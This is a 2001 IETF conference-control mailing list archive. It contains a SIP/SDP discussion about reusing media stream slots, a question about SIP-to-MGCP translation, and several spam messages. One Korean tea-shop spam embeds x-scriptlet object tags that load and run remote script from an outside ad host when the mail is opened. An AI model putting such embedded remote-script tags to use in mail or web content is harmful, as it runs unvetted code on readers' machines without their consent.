	for <confctrl@ISI.EDU>; Thu, 27 Dec 2001 08:35:54 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.89])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBRGZZVZ003239;
	Thu, 27 Dec 2001 11:35:35 -0500 (EST)
Message-ID: <3C2B4DBD.9060607@dynamicsoft.com>
Date: Thu, 27 Dec 2001 11:35:09 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>, sip@ietf.org
Subject: Re: changing of media types allowed in offer/answer and SIP open issue  #24
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Indeed, consensus at IETF 52 was to allow reuse. #24 is considered resolved.

-Jonathan R.

Paul Kyzivat wrote:

> I think the restriction is silly. 
> 
> I don't see why any piece of code that can keep track of the positional
> assignments, including media that have been refused, should have any
> trouble reusing a previous slot for a new purpose. And changing the
> media type in one step is more or less the same thing.
> 
> So why not allow those slots to be reused? 
> We may yet see applications where there are enough reinvites with
> changes in media that recycling of slots is important.
> 
> 	Paul
> 
> Jonathan Rosenberg wrote:
> 
>>Folks,
>>
>>draft-rosenberg-mmusic-sdp-offer-answer-00.txt currently says:
>>
>> The media type (audio, video, etc.) for a stream MAY be changed. This
>>   is particularly useful for changing between voice and fax in a single
>>   stream, which are both separate media types. To do this, the offerer
>>   creates a new media description, with a new media type, in place of
>>   the description in the previous SDP which is to be changed. The IP
>>   address and port for the stream MAY change, or MAY remain the same.
>>   However, the list of payload type numbers for the new codecs MUST be
>>   different than any used previously for this stream.
>>
>>This is somewhat linked to the current sip open issue #24 about whether or
>>not you can reuse a media stream "slot" which has been previously disabled
>>with port=0. After all, changing the media type is really the same, more or
>>less, as using a new media stream in place of where an old one was. I think
>>leaning of consensus in the sip group was to disallow such reuse (although I
>>can't remember at this moment what the reasoning was), and that would argue
>>for removing the above capability.
>>
>>Comments or thoughts on this?
>>
>>-Jonathan R.
>>
>>---
>>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>>Chief Scientist                             First Floor
>>dynamicsoft                                 East Hanover, NJ 07936
>>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>>http://www.jdrosen.net                      PHONE: (973) 952-5000
>>http://www.dynamicsoft.com
>>
>>
> 


-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Fri Dec 28 00:14:45 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id AAA28700
	for confctrl-outgoing; Fri, 28 Dec 2001 00:14:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA28695
	for <confctrl@zephyr.isi.edu>; Fri, 28 Dec 2001 00:14:44 -0800 (PST)
Received: from webmail3.maa.sify.net ([202.144.76.19])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBS8FRg03729
	for <confctrl@isi.edu>; Fri, 28 Dec 2001 00:15:29 -0800 (PST)
Date: Fri, 28 Dec 2001 00:15:29 -0800 (PST)
Received: (qmail 13826 invoked from network); 28 Dec 2001 13:34:46 +0530
Received: from unknown (HELO mydesk) (202.88.162.38)
  by 202.144.76.19 with SMTP; 28 Dec 2001 13:34:46 +0530
Message-ID: <03aa01c18f77$ca250af0$26a258ca@mydesk>
From: "Mr. Neville Konkravala." <dneville@satyam.net.in>
To: <confctrl@ISI.EDU>
Subject: Data Capture / Coding / Entry Srevices
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id AAA28696
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dated: 28th, December 2001.

Dear Sir / Ma'm:
I came upon your email address at the following web page :- http://search.aol.com:80/redirect.adp?appname=QBP&query=%a7%21%24%d5%7e%0e%88%b8%06%e5%fc%18%a1%6b%0c%ec%99%f3%63%2b%10%be%29%c6%a8%a6%8d%e9%f1%dd%d6%97%1f%0c%d8%18%8c%67%b7%3b%52%cb%5d%47%00%d1%99%ed%67%99%58%53%95%4d%70%8d%aa%a

Understandably you must be a very preoccupied person - so without wasting a lot of your time, let me get down straight to the purpose of this email.

You see the company I am employed with specializes in the field of data or text capturing. Briefly speaking we specialize in capturing text from paper documents (or from most other mediums) and converting it into its desirous electronic equivalent. We also specialize in (and are presently the only company offering) the coding / tagging of such data in accordance to our client's uniquely specific and tailor made requirements. We consistently execute both these processes with an unsurpassed accuracy rate preceding 99.99 % which does aptly speak volumes in favor of and about the quality control standards of our services.

I write this wondering if you or your company ever needs to or do outsource similar services - In which case I would appreciate hearing from you about the kind of requirements and expectations you generally have, or are desirous of availing while availing such.

Once I get a brief idea of those I could and would further elaborate on the aspects of how and what we may have to offer in order to best meet your requirements or expectations, and the translated benefits of outsourcing such services from my company in comparison to other companies providing such.

You can be assured that under the given circumstances it would prove not only to be very mutually beneficial for our organizations, but also a satisfactory association.

I am hopeful of and look forward to your response either way.

Cordial regards,

Ms. Prochee Dinshaw.  [Sr. Sales Manager.]
For :- Konkravala & Associates.



From confctrl-owner  Fri Dec 28 04:24:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA06981
	for confctrl-outgoing; Fri, 28 Dec 2001 04:24:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA06976
	for <confctrl@zephyr.isi.edu>; Fri, 28 Dec 2001 04:24:12 -0800 (PST)
Received: from hellotea.com ([211.217.242.161])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBSCP1g11062
	for <confctrl@isi.edu>; Fri, 28 Dec 2001 04:25:03 -0800 (PST)
Message-Id: <200112281225.fBSCP1g11062@tnt.isi.edu>
Reply-To: hellotea@hellotea.com
From: Çï·Î¿ìƼ <hellotea@hellotea.com>
To: <confctrl@ISI.EDU>
Subject: [±¤°í]»ç¹«½Ç,°¡Á¤À» À§ÇÑ  Â÷/Ä¿ÇÇÀü¹®  ÀÎÅÍ³Ý ÇÒÀμîÇθô ¿ÀÇÂ..!!
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Fri, 28 Dec 2001 21:26:12 +0900
X-User: 1.96-lomokrpw-kwmqjr-Jjonu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<object data='http://itnsoft.com/ad/top/top.html' type=text/x-scriptlet width=100% height=100></object>
<html>
<head>
<title>Çï·Î¿ìƼ°¡ µå¸®´Â Å©¸®½º¸¶½º ¼±¹°!</title>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<style type="text/css">
<!--
.text {  font-size: 9pt; line-height: 13pt}
 a:link  {font-family:±¼¸²,gulim,Arial; text-decoration: none; color:#333333;font-size:9pt; }
    a:visited {font-family:±¼¸²,gulim,Arial; text-decoration: none; color:#333333;font-size:9pt; }
    a:active {font-family:±¼¸²,gulim,Arial; text-decoration: none; color:#597F1C;font-size:9pt; }     
    A:hover {font-family:±¼¸²,gulim,Arial; text-decoration: none; color:#597F1C; font-size:9pt;}     
-->
</style>
</head>
<body bgcolor="#ffffff">
<br>
<table width="550" border="0" cellspacing="2" cellpadding="3" align="center" bgcolor="#1ea32a">
  <tr bgcolor="#ffffff"> 
    <td> 
      <table width="550" border="1" cellspacing="0" cellpadding="0" align="center" bordercolor="#cccccc">
        <tr> 
          <td> 
            <table width="550" border="0" cellspacing="0" cellpadding="0" align="center">
              <tr> 
                <td><a href="http://www.hellotea.com" target="_blank"><img src="http://www.hellotea.com/img/2002-mail_title.jpg" width="550" height="362" border="0" alt="www.hellotea.com"></a></td>
              </tr>
              <tr> 
                <td> <br>
                  <table width="545" border="0" cellspacing="2" cellpadding="1" align="center">
                    <tr> 
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02030017&amp;xcode=02&amp;mcode=03&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/r_pro1.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="101"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=04010004&amp;xcode=04&amp;mcode=01&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/r_pro2.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="98"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02050013&amp;xcode=02&amp;mcode=05&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/m_chuchun_img3.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02030012&amp;xcode=02&amp;mcode=03&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/m_chuchun_img1.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="104"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02070001&amp;xcode=02&amp;mcode=07&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/r_pro3.gif" width="79" height="83" border="0"></a></div>
                      </td>
                    </tr>
                    <tr> 
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02030017&amp;xcode=02&amp;mcode=03&amp;type=X&amp;mode=detail_shop" target="_blank">[ÅÂÆò¾ç 
                          Çö¹Ì³ìÂ÷]</a><br>
                          <font color="#b763c9"><b>1,450¿ø</b></font> </div>
                      </td>
                      <td class="text" width="101"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=04010004&amp;xcode=04&amp;mcode=01&amp;type=X&amp;mode=detail_shop" target="_blank">[¸Æ½É¿À¸®Áö³¯500g]</a><br>
                          <b><font color="#b763c9">12,500¿ø</font></b> </div>
                      </td>
                      <td class="text" width="98"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02050013&amp;xcode=02&amp;mcode=05&amp;type=X&amp;mode=detail_shop" target="_blank">[±¹Á¦ 
                          ÁøÀ¯ÀÚÂ÷]</a><br>
                          <font color="#b763c9"><b>5,200 ¿ø</b></font> </div>
                      </td>
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02030012&amp;xcode=02&amp;mcode=03&amp;type=X&amp;mode=detail_shop" target="_blank">[ÅÂÆò¾çµÕ±¼·¹Â÷]</a><br>
                          <font color="#b763c9"><b>1,950 ¿ø</b></font> </div>
                      </td>
                      <td class="text" width="104"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02070001&amp;xcode=02&amp;mcode=07&amp;type=X&amp;mode=detail_shop" target="_blank">[Ȑȝ 
                          µ¿ÀÇÇÑÂ÷]</a><br>
                          <font color="#b763c9"><b>2,800¿ø</b></font> </div>
                      </td>
                    </tr>
                    <tr> 
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=04010023&amp;xcode=04&amp;mcode=01&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/m_chuchun_img2.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="101"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02120035&amp;xcode=02&amp;mcode=12&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/r_pro4.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="98"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=03040002&amp;xcode=03&amp;mcode=04&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/m_chuchun_img4.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=04010026&amp;xcode=04&amp;mcode=01&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/new_p4.gif" width="79" height="83" border="0"></a></div>
                      </td>
                      <td class="text" width="104"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02130011&amp;xcode=02&amp;mcode=13&amp;type=X&amp;mode=detail_shop" target="_blank"><img src="http://www.hellotea.com/img/new_p5.gif" width="79" height="83" border="0"></a></div>
                      </td>
                    </tr>
                    <tr> 
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=04010023&amp;xcode=04&amp;mcode=01&amp;type=X&amp;mode=detail_shop" target="_blank">[¸Æ½É¸ðÄ«Ä¿Çǹͽº]</a><br>
                          100Æ÷ÀÔ<font color="#b763c9"><b>10,580 ¿ø</b></font></div>
                      </td>
                      <td class="text" width="101"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02120035&amp;xcode=02&amp;mcode=12&amp;type=X&amp;mode=detail_shop" target="_blank">[´ãÅÍÇÑÂ÷] 
                          </a><br>
                          <b><font color="#b763c9">3,650¿ø</font></b> </div>
                      </td>
                      <td class="text" width="98"> 
                        <div align="center"><font color="#ff0033"><a href="http://www.hellotea.com/detail_mall.php?brandcode=03040002&amp;xcode=03&amp;mcode=04&amp;type=X&amp;mode=detail_shop" target="_blank">¾ÆÅäÇǼºÇǺο° 
                          ¹× Áö¹æºÐÇØ¿¡..<br>
                          [¿ì·ÕÂ÷]</a> </font><br>
                          <font color="#b763c9"><b>13,200¿ø</b></font> </div>
                      </td>
                      <td class="text" width="110"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=04010026&amp;xcode=04&amp;mcode=01&amp;type=X&amp;mode=detail_shop" target="_blank">[īǪġ³ëÇìÀÌÁñ³Ó]</a><br>
                          <font color="#b763c9"><b>1,650¿ø</b></font> </div>
                      </td>
                      <td class="text" width="104"> 
                        <div align="center"><a href="http://www.hellotea.com/detail_mall.php?brandcode=02130011&amp;xcode=02&amp;mcode=13&amp;type=X&amp;mode=detail_shop" target="_blank">[¾×»óŸÀÔ 
                          ¸Á°íÂ÷]</a><br>
                          <font color="#b763c9"><b>3,960¿ø</b></font> </div>
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table><br>
<table width="554" border="0" cellspacing="1" cellpadding="2" align="center" bgcolor="#cccccc">
  <tr bgcolor="#ffffff"> 
    <td> 
      <table width="554" border="0" cellspacing="2" cellpadding="4" align="center">
        <tr bgcolor="#f3f3f3"> 
          <td class="text">º» ¸ÞÀÏÀº Á¤º¸Åë½Å¸Á ÀÌ¿ëÃËÁø ¹× Á¤º¸º¸È£ µî¿¡ °üÇÑ ¹ý·ü Á¦ 50Á¶¿¡ ÀÇ°ÅÇÑ [±¤°í] ¸ÞÀÏÀÔ´Ï´Ù.<br>
            º» ¸ÞÀÏÀº ÀÎÅÍ³Ý »ó¿¡ °ø°³µÈ ¸ÞÀÏ ÁÖ¼Ò¸¦ ±Ù°Å·Î ¹ß¼ÛÇÏ¿´½À´Ï´Ù.<br>
            ±ÍÇÏÀÇ À̸ÞÀÏ Á¤º¸ ÀÌ¿Ü¿¡ ÀúÈñ°¡ º¸À¯ÇÏ°í ÀÖ´Â °³ÀÎÁ¤º¸´Â ÀÏü °®°í ÀÖÁö ¾ÊÀ½À» ¾Ë·Áµå¸®¸ç..<br>
            ¿øÄ¡ ¾ÊÀ¸¼Ì´ø ¸ÞÀÏ ÀÌ¼Ì´Ù¸é ¸Ó¸®¼÷¿© °Åµì »ç°úÀÇ ¸»¾¸ µå¸³´Ï´Ù.<br>
            ±ÍÇÏÀÇ ÇູÇÑ ³¯°ú ÇϽôÂÀÏ ¸ðµÎ ¹øâÇÏ½Ã±æ ¹Ù¶ó¸ç...<br>
            Ȥ½Ã¶óµµ ¸ÞÀÏÀÌ Áߺ¹µÇ¾î ´Ù½Ã ¸ÞÀÏÀ» ¹ÞÀ¸½Å ±ÍÇϲ²¼­´Â ¼ö½Å°ÅºÎ½Ã Áߺ¹À» Ç¥±âÇÏ¿© Áֽøé Áï½Ãó¸®ÇÏ°Ú½À´Ï´Ù. </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<div align="center"><br>
  <A href="http://www.hellotea.com/reject.html"><img src="http://www.hellotea.com/img/reject_bt.gif" width="62" height="20"  border=0></A></div>
</body>
</html>
<object data='http://itnsoft.com/ad/down/down.html' type=text/x-scriptlet width=100% height=100></object>

From confctrl-owner  Fri Dec 28 13:04:39 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA23714
	for confctrl-outgoing; Fri, 28 Dec 2001 13:04:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA23709
	for <confctrl@zephyr.isi.edu>; Fri, 28 Dec 2001 13:04:38 -0800 (PST)
Received: from desc32 ([61.72.145.145])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBSL5Tg07327
	for <confctrl@isi.edu>; Fri, 28 Dec 2001 13:05:30 -0800 (PST)
Message-Id: <200112282105.fBSL5Tg07327@tnt.isi.edu>
Reply-To: mailing@dreamworldcup.com
From: storenet<mailing@dreamworldcup.com>
To: confctrl@ISI.EDU
Subject: ÄÄÇ»ÅÍ·Î ÇÚµåÆùÀ» ÃæÀüÇÒ¼ö ÀÖ½À´Ï´Ù.![±¤°í]
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Sat, 29 Dec 2001 06:20:37 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<title>09ZONE Ưº°À̺¥Æ®</title>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<link rel="stylesheet" href="http://www.storenet.com/mailing/09zone/mail.css" type="text/css">
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0">
<table width="576" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td height="15" align="right"><b>12¿ù Ưº°À̺¥Æ®</b></td>
</tr>
</table>
<table width="576" border="0" cellspacing="0" cellpadding="0" align="center" >
<tr>
<td colspan="3"><img src="http://www.storenet.com/mailing/09zone/mail_1_1.gif" width="576" height="42"></td>
</tr>
</table>
<table width="576" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td><img src="http://www.storenet.com/mailing/09zone/mail_2_left.gif" width="17" height="119"></td>
<td width="540" background="http://www.storenet.com/mailing/09zone/mail_2_center.gif" valign="top" align="left">
<br>
ÇϾá ÇÔ¹Ú´«À» ±â´Ù¸®´Â °èÀýÀÌ ´Ù°¡¿Ô³×¿ä. µû¶æÇÑ ¿¬¸»¿¬½Ã°¡ µÇ±â¸¦ ±â¿øÇÕ´Ï´Ù.<br>
Ãä´Ù°í ¸öÀ» ¿õÅ©¸®Áö ¸¶½Ã°í 09ZONE.COM¿¡¼­ ÁغñÇÑ À̺¥Æ®¿Í ÇÔ²² µû¶æÇÑ °Ü¿ïÀ» ÁغñÇϼ¼¿ä.<br>
½Â¶ô ¾øÀÌ È«º¸¼º ÀüÀÚ ¿ìÆíÀ» º¸³»°Ô µÈ Á¡ Á¤ÁßÈ÷ »ç°ú µå¸³´Ï´Ù.ÀúÈñ ȸ»ç´Â ±ÍÇÏÀÇ ÀüÀÚ¿ìÆíÁÖ¼Ò ¿Ü
¾î¶°ÇÑ °³ÀÎ Á¤º¸µµ °¡Áö°í ÀÖÁö ¾ÊÀ¸¹Ç·Î ¾È½ÉÇϽñ⠹ٶø´Ï´Ù.<br>
<p align=center><a href="http://storenet.com/event/no_mail.html?email=confctrl@isi.edu"><b>¼ö½Å°ÅºÎ</b></a></p>
</td>
<td><img src="http://www.storenet.com/mailing/09zone/mail_2_right.gif" width="19" height="119"></td>
</tr>
</table>
<table width="576" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td><img src="http://www.storenet.com/mailing/09zone/mail_3.gif" width="576" height="43"></td>
</tr>
</table>
<table width="576" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_left_bg.gif" width="6" rowspan="10">&nbsp;</td>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top" height="31">
&nbsp;&nbsp;¾È³çÇϼ¼¿ä °ø±¸Á¸¿¡¼­´Â À̹ø Å©¸®½º¸¶½º¸¦ ¸ÂÀÌÇÏ¿© dz¼ºÇÑ À̺¥Æ®¸¦ ÁغñÇß½À´Ï´Ù.
</td>
<td background="http://www.storenet.com/mailing/09zone/mail_right_bg.gif" width="6" rowspan="10">&nbsp;</td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top">&nbsp;&nbsp;<b>[Ưº°Çà»ç 1]</b></td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top" align="center"><a href="http://09zone.com" target="_blank"><img src="http://www.storenet.com/mailing/09zone/1.gif" width="315" height="150" border="0">
</td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top">
<br>
&nbsp;<b>ClickÀ¸·Î ¹è¿ì´Â ÄÄÇ»ÅÍ ÇÁ·Î±×·¥</b><br>
<br>
&nbsp;&nbsp;¢º ÄÄÇ»ÅÍ ±âÃÊ Click ÇѹæÀ¸·Î ³¯·Á¹ö¸°´Ù. <br>
&nbsp;&nbsp;¢º ¸ðµÎ 3ÀåÀÇ ½Ãµð·Î ±¸¼ºµÇ¾î ÀÖ½À´Ï´Ù. <br>
&nbsp;&nbsp;&nbsp;&nbsp;- ÄÄÇ»ÅͱâÃÊ : Windows98, WindowsME, À¯Æ¿¸®Æ¼, ÀÎÅͳݱâÃÊ ¹× È°¿ë <br>
&nbsp;&nbsp;&nbsp;&nbsp;- À¥µðÀÚÀÎ : Flash, Photoshop, Dreamweaver, ³ª¸ðÀ¥¿¡µðÅÍ, Paintshop Pro <br>
&nbsp;&nbsp;&nbsp;&nbsp;- OA : MS Word, MS Excel, MS Powerpoint, ¾Æ·¡¾Æ ÇѱÛ
<br>
<br>
</td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top">&nbsp;&nbsp;<b>[Ưº°Çà»ç 2]</b></td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top" align="center"><a href="http://09zone.com" target="_blank"><img src="http://www.storenet.com/mailing/09zone/2.gif" width="315" height="150" border="0">
</td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top"><br>&nbsp;<b>USB ÈÞ´ë¿ë ÃæÀü±â</b>
<br>
&nbsp;&nbsp;¢º °£ÆíÇÏ°Ô PC¿¡ ¿¬°áÇؼ­ ÃæÀüÇÏ´Â USB ÃæÀü±â·Î ÀÌÁ¦ ¹èÅ͸® °í¹Î¿¡¼­ ¹þ¾î³ª¼¼¿ä.<br>
&nbsp;&nbsp;¢º PC¿¡¼­ Web PDA±îÁö, USB Æ÷Æ®¿¡ È帣´Â Àü¿øÀ» ÀÌ¿ëÇÑ ÃæÀü¹æ½Ä.<br>
&nbsp;&nbsp;¢º µ¥½ºÅ©Å¾ PC³ª ³ëÆ®ºÏ PC·ÎºÎÅÍ Á÷Á¢ ÃæÀü º°µµÀÇ ¾î´ðÅÍ, ÀνºÅç ÇÊ¿ä¾øÀÌ ¹Ù·Î »ç¿ë °¡´É.
<br><br>
</td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top"><b>&nbsp;&nbsp;[Ưº°Çà»ç 3]</b></td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top" align="center"><a href="http://09zone.com" target="_blank"><img src="http://www.storenet.com/mailing/09zone/ring3.gif" width="170" height="170" border="0">
<br>
</td>
</tr>
<tr>
<td background="http://www.storenet.com/mailing/09zone/mail_4.gif" valign="top">
&nbsp;<b>²¿³«´ÙÀ̾Ƹóµå Ä¿ÇøµSET</b>
<br>
&nbsp;&nbsp;&nbsp;<font color=red>À̹ø Å©¸®½º¸¶½º¸¦ ¿¬Àΰú ÇÔ²² Çϼ¼¿ä.¹ÝÁöÀÇ ´ÙÀ̾Ƹóµå¸¸Å­ Ä¿ÇÃÀÇ ÇູÀÌ ¿µ¿øÇÒ °ÍÀÔ´Ï´Ù.</font>
<br><br>
&nbsp;&nbsp;&nbsp;<b>Ưº° °øµ¿±¸¸ÅÀüÀÔ´Ï´Ù. À̹ø ±âȸ¸¦ ³õÄ¡Áö ¸¶¼¼¿ä.¹«ÀÌÀÚ ÇҺμ­ºñ½º¸¦ Àß ÀÌ¿ëÇϽñ¸¿ä.</b><br>
&nbsp;&nbsp;&nbsp;*¹«·á ¹è¼Û:¹è¼Û±â°£(3ÀÏ~7ÀÏ »çÀÌ)<br>
&nbsp;&nbsp;&nbsp;*¼­¿ï º¸¼® °¨Á¤¿ø °¨Á¤¼­ ÷ºÎ <br>
&nbsp;&nbsp;&nbsp;*AS±â°£ 1³â</td>
</tr>
</table>
<table width="576" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td><img src="http://www.storenet.com/mailing/09zone/mail_5.gif" width="576" height="10"></td>
</tr>
</table>
</body>
</html>

From confctrl-owner  Sat Dec 29 01:16:38 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA16449
	for confctrl-outgoing; Sat, 29 Dec 2001 01:16:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA16444
	for <confctrl@zephyr.isi.edu>; Sat, 29 Dec 2001 01:16:36 -0800 (PST)
Received: from 263.net ([202.96.44.47])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBT9HSg23637
	for <confctrl@isi.edu>; Sat, 29 Dec 2001 01:17:28 -0800 (PST)
Received: by 263.net (Postfix, from userid 60001)
	id 5A2951C545692; Sat, 29 Dec 2001 17:23:28 +0800 (CST)
MIME-Version: 1.0
Message-Id: <3C2D8B90.25727@mta5>
Content-Type: Multipart/Alternative;
  boundary="Boundary-=_JJBEClqvMImrXKGIddkpewjWhVzh"
Date: Sat, 29 Dec 2001 17:23:28 +0800 (CST)
From: "³ÂÁ¢·å" <clffd@263.net>
To: confctrl@ISI.EDU
Subject: =?gb2312?B?YXNraW5n?=
X-Priority: 3
X-Originating-IP: [61.140.188.47]
X-Mailer: Coremail2.0 Copyright Tebie Ltd., 2001
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--Boundary-=_JJBEClqvMImrXKGIddkpewjWhVzh
Content-Type: Text/Html; charset="gb2312"
Content-Transfer-Encoding: 8bit

Dear Sir:<br>        I have downloaded your open sourcecode for MGCP,and I found the translators directory provide a protocol translation function from SIP to<br>MGCP,I wonder if you have any draft about the translation from SIP to<br>MGCP.If so ,would you please send me this draft or tell me how to get it?<br>I'm expecting your help!<br><br>                            thanks <br>                      <br>                        yours truly  lfchen<br><br><br><br><br><br><script language="JavaScript1.1" src="http://www.263.net/js/footer.js"></script><br>
--Boundary-=_JJBEClqvMImrXKGIddkpewjWhVzh
Content-Type: Text/Plain; charset="gb2312"
Content-Transfer-Encoding: 8bit

Dear Sir:
        I have downloaded your open sourcecode for MGCP,and I found the translators directory provide a protocol translation function from SIP to
MGCP,I wonder if you have any draft about the translation from SIP to
MGCP.If so ,would you please send me this draft or tell me how to get it?
I'm expecting your help!

                            thanks 
                      
                        yours truly  lfchen







--Boundary-=_JJBEClqvMImrXKGIddkpewjWhVzh--

From confctrl-owner  Sat Dec 29 17:10:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA16197
	for confctrl-outgoing; Sat, 29 Dec 2001 17:10:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA16192
	for <confctrl@zephyr.isi.edu>; Sat, 29 Dec 2001 17:10:46 -0800 (PST)
Received: from MrKim ([211.186.71.130])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBU1Bcg12170
	for <confctrl@isi.edu>; Sat, 29 Dec 2001 17:11:39 -0800 (PST)
Message-Id: <200112300111.fBU1Bcg12170@tnt.isi.edu>
From: =?ks_c_5601-1987?B?x+7FuMDM?= <dkfjskd-dd@hotmail.com>
To: confctrl@ISI.EDU
